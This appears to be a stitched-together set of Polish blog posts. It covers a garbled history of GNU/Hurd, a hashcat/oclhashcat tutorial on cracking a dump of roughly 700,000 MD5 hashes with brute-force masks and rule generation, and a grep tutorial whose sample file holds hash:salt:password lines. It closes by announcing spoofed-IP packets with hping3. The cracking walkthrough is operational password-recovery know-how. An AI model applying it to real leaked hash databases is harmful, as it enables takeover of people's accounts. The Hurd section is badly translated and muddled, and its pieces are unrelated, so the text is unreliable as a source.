Richard Stallman zapoczątkował GNU w 1983 jako projekt kompletnie wolnego (od “wolności”) systemu operacyjnego. Wolność ta polegała na jawnym kodzie źródłowym, prawie użytkownika to ingerowanie w działanie programu także możliwość modyfikacji kodu źródłowego. Wspomniał, że będzie to prymitywne jądro. Podczas pierwszej konferencji GNU w lutym 1986 powiedział, że kernel będzie się nazywał TRIX, będzie rozwijany przez Instytu Technologii w Massachusetts. W grudniu 1986 FSF ujawniono “zaczęto prace potrzebne do zmiany TRIXa“, Niewiele potem, FSF “negocjujemy z Profesorem Rashid o rozwoju Mach’a“. W krótkim czasie FSF szukano więcej osób, które byłby w stanie wspomóc rozwój TRIX’a.

Następnym krokiem rozwoju było wprowadzanie nowego systemu plików:
-RMS: “częściowo zastąpimy system Berkley Unix”
Sześć miesięcy później FSF: “jeśli nie przerobimy Mach’a, użyjemy TRIXa lub BS“. Zaprezentować też wtedy gotowego kernela i system plików.

W styczniu 1990 powiedzieli “nie robimy żadnego kernela. Bezsensem jest zaczynanie teraz nowego jadra, powierzamy nadzieją w używaniu Macha.”

Nic nie zapowiada;o się do 1991, kiedy to opublikowano bardziej szczegółowy plan:

Wciąż jesteśmy zainteresowani wielowątkowością kernela działającego pod Mach. Prawnicy CMU właśnie decydują czy możemy wydać Macha jako dystrybucje. Jeśli się zdecydujemy żeby to zrobić, to prawdopodobnie zaczniemy pracować. CMU ma dostępne te same warunki co Mach – jednoklastrowy serwer oparty na Unix Emulator nazwany Poe, to jest raczej powolne i dostarcza minimalnej funkcjonalności. Moglibyśmy prawdopodobnie zacząć rozwijać Poe żeby dostarczać wszystkie funkcje. Później mamy nadzieje, żeby miał wieloprocesowy emulator procesów.

Pomysł użycia L4 jako microkernela dla Hurd’a został podany przez Okuji Yoshinori w społeczności Hurd, którego celem było stworzenie L4-Hurd. Obecnie rozwój L4-Hurd zatrzymał się, jednak Neal Walfield przeniósł prace nad nowo zaprojektowanego kernela nazwanego viengoos.
Rok później było mnóstwo dyskusji nad L4-Hurd na listach mailowych, które do dzisiaj są miejscami gdzie dyskutuje się o Hurdzie.”

Rozwój L4-Hurd zakończył się gdy Hurd był zawarty w repozytorium HURD CVS. L4 był microkernelem drugiej generacji, uznano by zawierał on paczki szybszego kernela, szczególnie że były to czasy krytycznych paczek IPC. Także L4 został przygotowany dla kilku architektur. Starano się by Hurd wspierał jak najwięcej platform, niż istniejące systemy.“.
Wzór chudego L4 był nadal aktualny, gdyby nie rosnąca liczba sterowników.

Projekt GNU został zapoczątkowany w 1984 roku w celu stworzenia kompletnego, podobnego do Unix-a systemu operacyjnego, będącego wolnym oprogramowaniem: systemu GNU. Nazwa GNU to rekurencyjny akronim zdania „GNU’s Not Unix” – „GNU to Nie Unix”. Obecnie szeroko wykorzystywane są różne odmiany systemu operacyjnego GNU używające jądra Linuksa. Mimo że o systemach tych często mówi się „Linux”, bardziej precyzyjnie nazywane są systemami GNU/Linux.

Słowo „free” w określeniu „free software” odnosi się do wolności, nie ceny. Można zapłacić za oprogramowanie GNU lub nie. Tak czy inaczej, oprogramowanie to wiąże się z trzema szczególnymi aspektami wolności. Pierwszy polega na tym, że mamy swobodę kopiowania, możemy je rozdawać przyjaciołom i współpracownikom. Drugi polega na tym, że mamy swobodę zmieniania programu według własnych upodobań dzięki pełnemu dostępowi do kodu źródłowego. Trzeci zaś to swoboda dystrybucji ulepszonych wersji, dzięki czemu pomaga się tworzyć wspólnotę. (Jeśli dystrybuuje się oprogramowanie GNU, można pobierać opłaty za akt fizycznego przekazania; można też je rozdawać za darmo.)

Jakie są ograniczenia wolnego oprogramowania? Nie ma żadnych ograniczeń, oprócz tych, które tworzy prawo, np. system patentowy, który całkowicie blokuje rozwój wolnego oprogramowania. Ostatecznym cel zostanie osiągnięty wtedy, kiedy wolne oprogramowanie będzie spełniało wszystkie zadania, o których pomyśli użytkownik — w ten sposób oprogramowanie prawnie zastrzeżone stanie się przestarzałe.

Oczywiście zgodnie z głoszoną ideą GNU kod źródłowy programu, czy całego systemu operacyjnego jest jawny.
Do GNU/HURD źródło znajdziemy pod tym linkiem.

 

Coś o systemie


Jądro systemu operacyjnego stanowi ramy dla programów do udostępniania zasobów sprzętowych komputera bezpiecznie i wydajnie. Takie ramy zawierają mechanizmy dla programów by komunikowały się bezpiecznie, nawet jeśli ze sobą kolidują.

GNU/Hurd przełamali zasady pracy tradycyjnego jądra, implementowanego w odrębnych programach. Hurd formalnie definiuje komunikacje protokołów, którymi porozumiewa sią z serwerami, więc jest możliwe dla innych serwerów zawarcie porozumienia tymi samymi stosami protokołów, dla przykładu: NFS i FPT ą w tej samej warstwie stosu TCP/IP. NFS, FTP i TCP/IP są oddzielone przestrzenią programów użytkownika.

Biblioteka GNU C (glibc) przewiduje środowisko POSIX dla Hurd’a przez tłumaczenia standardowych wywołań systemowych z odpowiednika HURD.

HURD zawiera POSIX standard dla Portable Operating System Interface (przenośny interfejs systemu operacyjnego gwarantujący powłokę systemu, interfejs programistyczny interfejsy użytkownika). Słyszeliśmy wiele o terminie POSIX jako o normach ustanawianych przez IEEE. Systemy Unixo-podobne mają być z tym zgodne lub częściowo zgodne. GNU/Hurd jest zgodny z wszystkimi systemami Unixo-podobnymi. Dlatego przeportowane aplikacje są dostępne pod GNU/Hurd. Jednak proszę pamiętać “GNU is not Unix”, GNU/Hurd jest raczej zgodny z POSIX, jednak wciąż rosną adresacje Hurda do grupy systemów Unixo-podobnych.


Komu Hurd?

Na początek notka dla młodszych użytkowników: jeśli nie uważasz się za znawcę komputerowego, definitywnie nie będziesz chciał używać Hurda. Nie ma jeszcze oficjalnej wersji Hurda, więc system wciąż nie jest stabilny. Jeśli uruchomisz Hurda – napotkasz wiele błędów. Dla ludzi, którzy używają komputerów do surfowania w sieci, przekazywania e-maili, pisania itp. i chcą po prostu maszyny do pracy, błędy Hurda będą bardzo denerwujące.

Dla takich ludzi, lepszy będzie system w wersji stabilnej. Niestety, obecnie system GNU w stabilnym stanie z Linuxem zastępują Hurda jako jądro, więc dla zaawansowanych użytkowników jest możliwe używanie potężnego, stabilnego i darmowego Unixopodobnego systemu. Debian GNU/Linux wysokiej jakości dystrybucja jest dostępna, sumując: wiele spółek handlowych sprzedają pakowane dystrybucja GNU/Linux z wydrukowaną ich dokumentacją o różnym stopniu szczegółowości ich opisu przystosowane dla wielu użytkowników. Należy pamiętać, że GNU/Hurd nie jest systemem do surfowania, wymiany e-maili, pisania tekstów i innych podobnych zadań. To jest system, który będzie używany do tych zadań w przyszłości.

Jeśli uważasz się za geeka ale nie programistę, możesz wciąż rozważać używanie GNU/Hurd. Zadania dla nie-programistów obejmują prowadzenie do GNU/Hurd systemów i testowanie ich do pojawienie się błędu, pisanie dokumentacji także tłumaczenie istniejących dokumentacji do innych języków. Obecnie znaczna większość dokumentacji jest dostępna tylko po angielsku i francusku.

Każdy kto może być zainteresowany Hurdem: student badający system, programista pomagający rozwijać serwery Hurda, inni użytkownicy szukający błędów czy piszący dokumentację, będąc zainteresowanym jak GNU/Hurd jest podobny i czym różni się od innych systemów z rodziny Unix.

Dla wszystkich zainteresowanych i wytrwałych: Hurd jest nowoczesnym systemem Unixopodobnym, jak Linux i BSD. GNU/Hurd używa bibliotek GNU C, które są rozwijane blisko standardów jakich jak ANSI/ISO, BSD, POSIX, SU, SVID i X/Open. W ten sposób większość programów dostępne są dla GNU/Linux, a paczki BSD mogą zostać przeportowane by działały podn GNU/Hurd.

Korzyści płynące z wszystkich tych systemów – GNU/Hurd, GNU/Linux i BSD: nie są podobne do wielu popularnych systemów operacyjnych np. darmowe oprogramowanie.

Każdy może używać i dystrybuować te systemy pod prawem obowiązującym w GNU GPL w przypadku GNU/Hurd i GNU/Linux i BSD w przypadku systemów *BSD. W fakcie, GNU system jest całkowicie Unixopodobny, system jest na licencji GNU GPL.

Chociaż jest podobny do innych darmowych Unixopodobnych projektów, Hurd ma zadatki na najlepszy tego typu system. W odróżnieniu od innych projektów, Hurd ma zorientowaną obiektowo strukturę, która pozwala ewoluować bez kompromisu w projekcie. Taka struktura będzie pomagała

Hurdowi podlegać głównym zmianom konstrukcyjnym i modyfikacjom bez ponownego przepisania całego kodu. Taka elastyczność czyni Hurda atrakcyjna platformą do nauki jak stać się hackerem czy jak zawierać nowe pomysły w technologii, jak każda część systemy jest zaprojektowana do modyfikacji i rozbudowy. Dla przykładu: system plików MS-DOS FAT nie był wspierany przez GNU/Hurd dopóki deweloper napisał translator, który pozwalał na dostęp do takiej partycji. W standardzie systemy Unixopodobne mają środowisko programistyczne, jak w przyszłości może być ono wbudowane w jądro. W GNU/Hurd jest to zrobione w inny sposób i dzięki temu rekompilowanie jądra nie jest konieczne, odtąd gdy system plików jest zawarty jako program w przestrzeni użytkownika.

Skalowalność została tradycyjnie zrobiona w bardzo odmienny sposób by osiągnąć miano systemu rodziny Unix. Wiele aplikacji wymaga wsparcia dla przetwarzania symetrycznego (SMP). Implementacja Hurda jest nastawiona na wieloprocesorowość, więc działa na komputerach jedno i wielu rdzeniowych. Interfejs Hurda został zaprojektowany by zezwalał na przezroczystość warstw, jednak ten moduł nie został jeszcze zaimplementowany (2009).

Oczywiście Hurd ma obecnie ograniczenia. Wiele z nich jest spowodowane przez jądro systemu – GNU Mach. Dla przykładu choć Hurd ma zadatki na bycie świetną platformą SMP, nie jest to obecnie GNU możliwe, od kiedy GNU Mach nie jest wspierany w kierunku SMP. Hurd ma wsparcie mniejsze niż inne Linuxy dla hardwaru, ponieważ GNU Mach używa sterowników hardwaru zawartych w Linux kernel wersjii 2.0. Ostatecznie, GNU Mach jest bardzo wolnym jądrem i przyczynia się do ogólnego spowolnienia systemów GNU/Hurd.

Mach jest znany jako microkernel pierwszej generacji, mnóstwo pracy zostało włożone do ulepszenia go do drugiej generacji, mikrokernel jest obecnie wciąż rozwijany. Długoterminowym zadaniem jest przeportowanie Hurda do L4, bardzo szybkiego jądra drugiej generacji. W krótkim terminie deweloperzy Hurda planują przenieść go do OSKit Mach, ulepszona wersja Macha będąca rozwijana na Uniwersytecie Utah.

Hurd jest wciąż rozwijany, lecz nie pojawiła się jeszcze stabilna wersja. To znaczy, że źródło Hurda jest o wiele mniej dojrzałe niż te w Linux czy BSD. Są bugi w systemie, które wciąż są nieznalezione czy nie naprawione.. Także, wiele cech jakich jest kilent DHCP, wsparcie dla kilkunastu systemów plików jest wciąż rozwijane.

Braki w Hurdzie są bezustannie poszukiwane, dla przykładu: ostatnio znaleziony został znaleziony brak wątku POSIX. To znaczy, że kilkanaście głównych aplikacji, włączając GNOME, KDE i Mozille nie mogły działać pod GNU/Hurd. Teraz Hurd ma wstępnie zaimplementowany ten wątek, dzięki czemu możemy wkrótce zobaczyć te aplikacje działające na systemach GNU/Hurd.

Hurd jest bardzo nowoczesny. Jest nowocześniejszy niż Linux lub *BSD, ponieważ używa microkernela zamiast jądra monolitycznego. Jest także nowocześniejszy niż Darwin Appl’a czy NT Microsoftu, od kiedy ma wielostanowiskowy projekt, w przeciwieństwie do jednostanowiskowych Darwina czy NT. To czyni Hurda idealną platformą dla studentów zafascynowanych systemami operacyjnymi, od kiedy wygląd bliżej przypomina rekomendacje obecnej teorii systemów operacyjnych.

 

GNU/Hurd jest także wyśmienitym systemem na programistów. Podczas gdy Linux i BSD są stabilne, jest mnóstwo pracy do wykonania by Hurd stał się stabilnym systemem.

Przykład:

GNU/Hurd oferuje możliwość stworzenia ważnych zasług dla systemu ponieważ jest w stosunkowo wczesnym stadium rozwoju.

W ostatnim czasie udało się uruchomić GNOME na systemie GNU HURD, co jest dużym osiągnięciem jak na ten system.

Do tworzenia tego artykułu będę posługiwał się dwoma programami (hashcat i oclhashcat), dwoma gdyż oclhashcat+ i oclhashcat-lite uznajemy jako pakiet oclhashcat. Możliwości tych programów zostały opisane już w temacie “Jak łamać hashe?”, więc nie będę tego przypominał, teraz posługiwać będziemy się tylko trybem tekstowym (u mnie konsola linux).

Zacznijmy od pokazania jakie opcje posiada:

hashcat:

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin -h
hashcat, advanced password recoveryUsage: ./hashcat-cli64.bin [options] hashfile [wordfiles|directories]
Startup:
-V, --version print version
-h, --help print help
--eula print eula
Logging and Files:
--remove enable remove of hash from hashlist once it is cracked
-r, --rules-file=FILE rules-file for hybrid-attack
-o, --output-file=FILE output-file for recovered hashes
--output-format=NUM 0 = hash:pass
1 = hash:hex_pass
2 = hash:pass:hex_pass
-e, --salt-file=FILE salts-file for unsalted hashlists
--debug-file=FILE debug-file
--debug-mode=NUM 1 = save finding rule (hybrid only)
2 = save original word (hybrid only)
3 = save mutated word (hybrid and attack mode 5 only)
-p, --seperator-char=CHAR seperator-char for hashlists
Resources:
-n, --threads=NUM number of threads
-c, --segment-size=NUM number of mb to cache from wordfile
-s, --words-skip=NUM skip number of words (for resume)
-l, --words-limit=NUM limit number of words (for distributed)
Attacks:
-g, --generate-rules=NUM number of self-generating rules
--generate-rules-func-min=NUM force number of functions per rule min
--generate-rules-func-max=NUM force number of functions per rule max
-a, --attack-mode=NUM number of attack-mode
0 = Straight *
1 = Combination *
2 = Toggle-Case
3 = Brute-Force
4 = Permutation
5 = Table-Lookup
* = for Hybrid-Attack use -r or -g
-m, --hash-mode=NUM number of hash-mode
0 = MD5 200 = MySQL
1 = md5($pass.$salt) 300 = MySQL4.1/MySQL5
2 = md5($salt.$pass) 400 = MD5(Wordpress)
3 = md5(md5($pass)) 400 = MD5(phpBB3)
4 = md5(md5(md5($pass))) 500 = MD5(Unix)
5 = md5(md5($pass).$salt) 600 = SHA-1(Base64)
6 = md5(md5($salt).$pass) 700 = SSHA-1(Base64)
7 = md5($salt.md5($pass)) 800 = SHA-1(Django)
8 = md5($salt.$pass.$salt) 900 = MD4
9 = md5(md5($salt).md5($pass)) 1000 = NTLM
10 = md5(md5($pass).md5($salt)) 1100 = Domain Cached Credentials
11 = md5($salt.md5($salt.$pass)) 1200 = MD5(Chap)
12 = md5($salt.md5($pass.$salt)) 1300 = MSSQL
30 = md5($username.0.$pass)
31 = md5(strtoupper(md5($pass)))
100 = SHA1 1400 = SHA256
101 = sha1($pass.$salt) 1600 = MD5(APR)
102 = sha1($salt.$pass) 1700 = SHA512
103 = sha1(sha1($pass)) 1800 = SHA-512(Unix)
104 = sha1(sha1(sha1($pass)))
105 = sha1(strtolower($username).$pass)
Toggle-Case specific:
--toggle-min=NUM number of alphas in plain minimum
--toggle-max=NUM number of alphas in plain maximum
Brute-Force specific:
--bf-pw-min=NUM password length minimum
--bf-pw-max=NUM password length maximum
--bf-cs-buf=CHARS charset for attack
Permutation specific:
--perm-min=NUM number of chars in plain minimum
--perm-max=NUM number of chars in plain maximum
Table-Lookup specific:
--table-min=NUM number of chars in plain minimum
--table-max=NUM number of chars in plain maximum
--table-file=FILE table file

Jak widać stek bzdur… spora ilość obsługiwanych hashy rzuca się w oczy.

oclhashcat:

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin -h
oclHashcat, advanced password recoveryUsage: ./oclhashcat64.bin [options] hashlist dict_left|mask_left dict_right|mask_right
Startup:
-V, --version print version
-h, --help print help
--eula print eula
Logging and Files:
--quiet enable quiet
--remove enable remove of hash from hashlist once it is cracked
-o, --output-file=FILE output-file for recovered hashes
--output-format=NUM 0 = hash:pass
1 = hash:hex_pass
2 = hash:pass:hex_pass
-e, --salt-file=FILE salts-file for unsalted hashlists
Resources:
-d, --gpu-devices=STR CUDA devices to use, seperate with comma
-n, --gpu-accel=NUM workload tuning: choose 1, 8, 40, 80 or 160
scales best if you choose the number of SP per SM
--gpu-loops=NUM workload fine-tuning if -n is not precise enough
Built-in charsets:
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !"#$%&amp;'()*+,-./:;&lt;=&gt;?@[]^_`{|}~
?h = ISO-8859 characters from 0xc0 - 0xff
Custom charsets:
-1, --custom-charset1=CS user-definable charsets
-2, --custom-charset2=CS example:
-3, --custom-charset3=CS --custom-charset1=?dabcdef
-4, --custom-charset4=CS sets charset ?1 to 0123456789abcdef
Attack options:
--increment enable increment mode
-j, --rule-left=RULE rule applied to each word from left dict
-k, --rule-right=RULE rule applied to each word from right dict
Attack modes:
-m, --hash-mode=NUM number of hash-mode
0 = MD5 200 = MySQL
1 = md5($pass.$salt) 300 = MySQL4.1/MySQL5
2 = md5($salt.$pass) 900 = MD4
3 = md5(md5($pass)) 1000 = NTLM
5 = md5(md5($pass).$salt) 1100 = Domain Cached Credentials
100 = SHA1
101 = sha1($pass.$salt)
102 = sha1($salt.$pass)

1.

Po pierwsze musisz mieć jakiś słownik. Byle jaki, żeby miał tylko koło 100MB, później będziesz go poszerzał przy okazji odzyskania nowych haseł (też metodą brute-force).

Do pokazu używali będziemy pliku przykladowabaza.txt ktory zawiera kilkaset tysięcy hashy md5.

Moje ulubione opcje hashcata to:

-g n | która sporządza n reguł według których tworzy kolejne hasła z podanego słownika, czyli jeśli w słowniku jest wyraz “kot” opcja stworzyć może wyraz “Kot”, “Kot1”, “kot1”, “koT”, “kot1234”, “kot!” itp. Używane tylko przy słownikowym ataku.

-a 4 | opcja ta łączy słowniki, każdy wyraz z pierwszego słownika z każdym z wyrazów z drugiego słownika.

-a 5 | opcja ta działa podobnie do tego z regułami, używa jednak odpowiednich reguł, zapisanych w pliku, wg nich mutuje wyrazy odczytane ze słownika. Wymaga pliku z “tablicami zamian”.

–remove | po co trzymać w pliku z hashami odzyskane hasło? Opcja usuwa taki hash.

-o plik.txt | chyba każdy rozumie

2.

Pokaz.

Jak widać poniżej plik przykladowabaza.txt zawiera 704993 hashy:

agilob@Asus-PC:~/Tools/hashcat$ wc -w przykladowabaza.txt
704993 przykladowabaza.txt

Sprawdzimy jaki będziemy wynik pod koniec odzyskiwania.

Najpierw usuń hasła słownikowe z pliku, żeby później bruteforce szybciej działał.

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin przykladowabaza.txt –remove -o odzyskane.txt slowniki/1.txt

Ja tej komendy teraz nie wykonam ze względu na zbyt duże słowniki, odzyskałem przypadkiem 72% bazy co mija się z celem pokazania innych metod ;)

3.

Brute-force przez GPU.

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt --remove -o odzyskane.txt -1 ?d?s?l ?1?1?1?1 ?1?1?1 --increment
oclHashcat v0.25 starting...
<p>Powyższy zapis oznacza tyle co:</p>
<p>z pliku przykladowabaza.txt bierz hashe, odzyskane wrzucaj do odzyskane.txt, szukaj haseł do długości 7znaków zbudowanych z:</p>
<p><em>?d</em> - cyfr</p>
<p><em>?l</em> - małych liter</p>
<p><em>?s</em> - znaków specjalnych</p>
<p>Twórz wszystkie możliwe permutacje.</p>
Status....: Running
Mode.Left.: Mask '?1?1?1?1' (22667121)
Mode.Right: Mask '?1?1' (4761)
Speed.GPU*: 148.5M/s
Recovered.: 35640/622478 Digests, 0/1 Salts
Progress..: 98266060800/107918163081 (91.06%)
Running...: 8 mins, 0 secs
Estimated.: 1 min, 5 secs

Jak widać samych 5 i 6 znakowych haseł odzyskało dość dużo, na koniec 7znakowych nie czekałem, przerwałem wykonywanie programu ze względu na czas.

4.

Moja ulubiona opcja:

-g 1000 | stworzy dla każdego słowa ze słownika 1000 kombinacji innych wyrazów, powstałych na bazie tego słownikowego.

Do boju!

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin przykladowabaza.txt --remove -o odzyskane.txt slowniki/2 -g 1000
Initializing with 8 threads and 32mb segment-size...
NOTE: press enter for status-screen
Added hashes from file przykladowabaza.txt: 579327 (1 salts)
Added rules from rule-generator: 1000
Wordlist..: slowniki/2
Index.....: 1/67 (segment), 3032520 (words), 33550346 (bytes)
Recovered.: <strong>44392</strong>/577638 hashes, 0/1 salts
Speed/sec.: 23.81M plains, 23.81k words
Progress..: 478592/3032520 (15.78%)
Running...: 00:00:00:20
Estimated.: 00:00:01:47

Opcja warta odczekania i po zakończeniu powtórzenia, o ile odzyskane hasła, doda się do słownika, co go bardzo wzmocni.

5.

(nie)słownikowe hasła.

spora ilość ludzi tworzy hasła typu:

misio1992

czy

asia1234

jak łatwo odzyskać jakie hasła?

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt -o odzyskane.txt –remove slowniki/1.txt ?d?d?d?d
oclHashcat v0.25 starting…

polecenie to dopisze do każdego wyrazu ze słownika ?d?d?d?d

gdzie

?d to dowolna cyfra

czyli z każdego wyrazu stworzy 10 000 kombinacji dodając na koniec wyrazu 4 cyfry. Odzyskasz dzięki temu hasła, które na końcu mają jakiś rok czy są celowo przedłużane by “wzmocnić hasło”.

Czasochłonna, jednak warta tego metoda, to samo należy zrobić z poleceniem, ale dodając po słowniku, jak i przed słownikiem!

?d?d?d

?d?d

?d

I tutaj już tylko 1,2,3 znakowe końcówki.

-1 ?l?s

?1?1?1

?1?1

?1

Czyli razem 13 poleceń dla oclhashcat’a.

6.

Rules and tables:

Mój plik rules dla hashcata, tak bardzo obszerny, jak ktoś lubi mieć ciepło w pokoju to tym można zastąpić oclhashcata.

rule

Plik z tables, do opcji -a 5

table

7.

oclhashcat ostateczny brute-force.

Skoro słownik już dokładnie przeczesany, haseł zostało mało do odzyskania, to pora na ostateczny brute-force, czyli szukanie najdziwniejszych haseł, które da się odzyskać na szybko brute-forcem.

Polega to na niczym innym jak na brute-force z nietypowymi dla haseł znakami, np. polskie litery.

W oclhashcat dostępne pod wyrażeniem ?h.

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt –remove -o odzyskane.txt -1 ?d?s?h?l ?1?1?1 ?1?1?1 –increment
oclHashcat v0.25 starting…

Narzędzie do wyświetlania wyrazów z plików, standardowego wyjścia w liniach; szukanego wyrazu, wyrażenia, całej linijki, wyniku działania innego programu to GREP.

W tym artykule string ‘wyraz’ będzie oznaczał słowo, które jest poszukiwane przez grep’a.

Narzędzie zostało wyposażone w niżej przedstawione opcje filtrowania:

  1. -E
      traktuje wyraz jako rozszerzone wyrażenie regularne

    -F

      traktuje wyraz jako listę stałych, oddzielonych od siebie nowymi liniami wyrazów

    -G

      po prostu szuka danego wyrazu (jest to opcja domyślna)

    -P

      jest to eksperymentalna opcja, traktuje wyraz jako wyrażenie z Perl’a

    -e

      służy do zabezpieczenia się by wyszukiwany zwrot zaczynał się od wyrazu, zabezpieczamy się przez -. (np. grep -e -.adam plik)

    -f

      określamy tutaj jaki plik przeszukiwać, linijka po linijce

    -i

      ignoruje wielkości liter (dla zwrotu adam, będzie szukało aDam, ADAM, aDaM)

    -v

      zwróci wszystkie linie, które

nie pasują

    do wyrazu

-w

    wybiera tylko te linie, które zawierają linijki, w których wyraz nie znajduje się obok innej litery (znajdzie adam , adam@1, +adam, 123adam; nie znajdzie adamek, adamski)

-x

    pokaż tylko te zwroty, które idealnie pasują do wyrazu

-y

    to co

-i

    (-y jest wersją prehistoryczną)

-c

    proszę policzyć ile linijek pasuje do wyrazu

-m n

    skończ szukanie gdy znajdziesz

n

    linii zawierających wyraz (użycie, np.: -m 0)

-o

    pokazuje część lini, która pasuje do wyrazu/wzorca (do używania z wyrażeniami regularnymi)

-q

    nie rób nic, nic nie wyświetlaj ta opcja chyba dla podpuchy jest dodana, można to też czytać jako: “pokaż mi co jest w /dev/null”

-s

    wyświetl wiadomość, jeśli plik nie istnieje lub jest nie możliwy do przeszukania

-H wyświetl nazwę pliku, który jest przeszukiwany przy linijce, domyśle przy przeszukiwaniu kilku plików-h nie wyświetlaj nazwy pliku przy linijce-n podaj numer linii, w której znaleziono wyraz-T przed wyświetlanym zwrotem wyświetla Tab-Z przy wyświetlaniu :zwrot po nazwie przeszukiwanego pliku wstaw znak ASCII NUL-A n pokaż kolejne n linijek po każdym znalezionym zwrocie-B n to co wyżej tylko linijki przed znalezionym zwrotem-C n połączenie -A -B-a przeszukaj plik binarny tak jakby tam był tekst (wyjaśnienie: otworzyłeś kiedyś zdjęcie albo archiwum notatnikiem?)-d jeśli grep ma szukać w ścieżce to powiedz mu jak ma szukać; recurse – przeszuka wszystkie pliki w katalogu, read – traktuje ścieżkę jakby była zwykłym plikiem

 

Ufff.. już przebrnęliśmy przez wylistowanie większości opcji programu, można zabrać się za filtrowanie zawartości pliku/plików.

Zacznijmy więc praktykować, trzeba ustalić jaką zawartość ma plik.

admin
adminek
AdMiNE
administrator
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Co widzimy w zawartości pliku? 3 odmiany słowa administrator, 5 razy pojawił się schemat md5:salt:passwd, kilka losowych wyrazów, i taki asterix malejący poskładany z cyfr.

Zajmiemy się filtrowaniem tego pliku, u mnie nazywa się on grepa, by odzyskiwać określone linijki.

Najpierw uzyskamy odmiany wyrazu admin, potem sam wyraz ‘admin’.

Przypomnę byś nie musiał przewijać ekranu żeby sprawdzić, której opcji używać.

agilobable@ASUS-PC:~$ grep admin grepa
admin
adminek
administrator

Teraz przefiltrujmy to samo, ale z opcją -i, która nakazuje nie patrzeć na wielkość liter:

agilobable@ASUS-PC:~$ grep -i admin grepa
admin
adminek
AdMiNE
administrator

No, wszystko działa jak dotąd. Teraz uzyskajmy tylko wyraz ‘admin’. Służy do tego opcja -x

agilobable@ASUS-PC:~$ grep -x admin grepa
admin

Zgadnij po wyniku do czego jest opcja -v:

agilobable@ASUS-PC:~$ grep -v admin grepa
AdMiNE
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Znak . (kropki) jest równoznaczny z każdym innym znakiem ASCII:

agilobable@ASUS-PC:~$ grep -i ......... grepa
administrator
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

No dobrze, skoro takie podstawy są opanowane, można zacząć działać na czymś trudniejszym

Czym są wyrażenia regularne? Nie o tym jest ten artykuł :P
Po prostu będziemy ich używać.
Wytłumaczę tylko czym są zakresy. Otóż zakresem jest jakaśtam ilość znaków z tablicy ASCII, między pierwszym podanym znakiem, a drugim, w grepie zakres liter od ‘a’ do ‘g’ zapisuje się
“[a-g]”

agilobable@ASUS-PC:~$ grep "[t-z]" grepa
administrator
adammax
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hugohugo
cuma#
hoenrules

Wykonanie powyższego polecenia ma wyświetlić słowa, które zawierają w sobie jakąkolwiek literę od ‘t’ do ‘z’. Co się udało.

Wyrażenia regularne można ze sobą łączyć, co jest ich największą zaletą, odfiltrujemy teraz linijki, w których są hashe md5:

agilobable@ASUS-PC:~$ grep "[a-f0-9]{32}" grepa
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Powyższe polecenie ma za zadanie wyświetlić ciągi znakowe, w których występują znaki od ‘a’ do ‘f’ oraz od zera do dziewięciu, przy czym w ciągu ma znajdować się ten zakres 32 razy (liczba w nawiasie klamrowym określa ilość powtórzeń zakresu, 32 to długość hashu md5())

To samo można otrzymać gdy liczbę w nawiasie klamrowym zmniejszymy do no choćby 16.

Innymi metaznakami wyrażeń regularnych są:

[[:alnum:]] = [A-Za-z0-9][[:alpha:]] = [A-Za-z][[:digit:]] = [0-9][[:lower:]] = [a-z][[:upper:]] = [A-Z][[:xdigit:]] = Cyfry szesnastkowe, czyli to czym filtrowaliśmy poprzednio md5 [a-f0-9)][[:print:]] = znaki widzialne na wydruku

Teraz zademonstruję metody, którymi można uzyskać hashe md5 na różne sposoby:

grep "[[:print:]]{32}" -o grepa
grep "[[:xdigit:]]{32}" -o grepa
grep "[a-f0-9]{32}" -o grepa

Liczby wstawiane w nawias nie przypadkowo mają takie ustawienie:

{n} = n-razy powtórz zakresy{n,} = powtórz zakresy więcej niż n-razy{,m} = powtórz zakresy maksymalnie m-razy{n,m} = powtórz zakresy od n do m-razy

Odfiltrujmy więc linie, w których są tylko liczby i na tym zakończę temat wyrażeń regularnych:

agilobable@ASUS-PC:~$ grep -v "[[:alpha:]]" grepa
1225521
111111
22222
3333
444
55
6

lub

agilobable@ASUS-PC:~$ grep "[[:digit:]]{1,}" -ox grepa

 

Filtrowanie działania innego programu.

W tym dziale zademonstruję działanie 3 programów: grep, tcpdump i hping3. hping3 będzie wysyłał pakiety z zespoofowanym adresem IP(mój adres to 192.168.1.2 nie ma sensu go pokazywać, chcę odfiltrować to czego jest mniej i nad czym mam kontrolę więc sam stworze pakiety, które zaraz zobaczymy), tcpdump będzie je chwytał, a grep pokazywał tylko te linijki w których pokaże się oszukany adres IP.

